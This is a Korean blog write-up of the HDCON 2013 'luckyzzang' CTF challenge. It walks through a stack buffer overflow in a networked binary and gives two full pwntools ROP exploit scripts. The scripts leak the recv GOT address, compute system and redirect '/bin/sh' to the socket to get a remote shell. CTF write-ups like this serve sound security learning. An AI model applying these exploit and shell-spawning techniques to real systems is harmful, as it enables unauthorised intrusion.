ipwn

[HDCON 2013] luckyzzang 본문

CTF's/HDCON

[HDCON 2013] luckyzzang

ipwn 2018. 2. 2. 22:41

이번에 푼 문제는 luckyzzang 문제다.


바로 보호기법부터 확인해보겠다.



NX는 걸려있지만 canary는 걸려있지 않다.


그렇다면 IDA로 한 번 분석해보겠다.



port 7777번으로 nc를 열어준다. (ssh 포트를 7777로 바꿨었는데 이거 때문에 다시 바꿨다...)


한 번 접속해서 뭐하는 프로그램인지 알아보자.



MSG를 입력하고 바로 끝을 낸다.


간단한 ROP문제일듯 하다.


다시 분석해보도록 하겠다.



연결이 성공적으로 된다면, Client has connected successfully :)라는 문자열을 바이너리를 실행한 화면에 띄워준다.


그리고 여기서 BOF가 터지는 것을 알 수 있는데 v2 % 100의 값이 적당히 커줘야 성공적으로 ROP를 실행할 수 있을 것이다.


최대 0x401 + 100 만큼 입력이 가능한 것을 알 수 있다.


이제 script를 작성해보자.


늘 그랬듯이 구해야 할 값은 recv_plt, send_plt, recv_got, ppppr, offset, bss가 될 것이다.


바로 구하러 가보겠다.




recv_plt, send_plt, recv_got, sys_offset은 각각 0x80485f0, 0x8048610, 0x804a040, 0xad480인 것을 알 수 있다.


이제 bss와 ppppr gadget을 구하러 가보겠다.




bss와 ppppr gadget는 각각 0x804a054, 0x80489cc란 것을 알 수 있다.


이제 모두 구했으니 script를 작성해서 shell을 가져와보겠다.



while true; do python solve.py; done를 이용해서 shell이 가져와질 때 까지 loop를 돌렸다.


solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
= remote( 'localhost'7777 )
 
recv_plt = 0x80485f0
send_plt = 0x8048610
recv_got = 0x804a040
ppppr = 0x80489cc
offset = 0xad480
bss = 0x804a054
cmd = '/bin/sh>&4 <&4'
 
pay = ''
pay += 'A'*1036
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(bss)
pay += p32(len(cmd)+1)
pay += p32(0)
 
pay += p32(send_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(recv_got)
pay += p32(4)
pay += p32(0)
 
pay += p32(recv_plt)
pay += p32(ppppr)
pay += p32(4)
pay += p32(recv_got)
pay += p32(4)
pay += p32(0)
 
pay += p32(recv_plt)
pay += 'AAAA'
pay += p32(bss)
 
p.sendlineafter('MSG : ', pay)
p.sendline(cmd)
 
recv = u32(p.recv(1024))
 
print '[*] recv addr : ' + str(hex(recv))
system = recv - offset
print '[*] system addr : ' + str(hex(system))
p.sendline(p32(system))
 
print '[*] get shell!'
p.interactive()



rop_solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
 
= remote( 'localhost'7777 )
= ELF('./luckyzzang')
rop = ROP(e)
 
offset = 0xad480
cmd = '/bin/sh>&4 <&4'
 
rop.recv(4, e.bss(), len(cmd)+20)
rop.send(4, e.got['recv'], 40)
rop.recv(4, e.got['recv'], 40)
rop.recv(e.bss())
 
pay = 'A'*1036 + rop.chain()
 
p.sendlineafter('MSG : ', pay)
p.sendline(cmd)
 
recv = u32(p.recv(1024))
 
print '[*] recv addr : ' + str(hex(recv))
system = recv - offset
print '[*] system addr : ' + str(hex(system))
p.sendline(p32(system))
 
print '[*] get shell!'
p.interactive()


이번에 풀 때는 /bin/sh를 4로 즉 socket로 redirection 해줘서 socket에서도 shell을 가져올 수 있게 만들었다.

Comments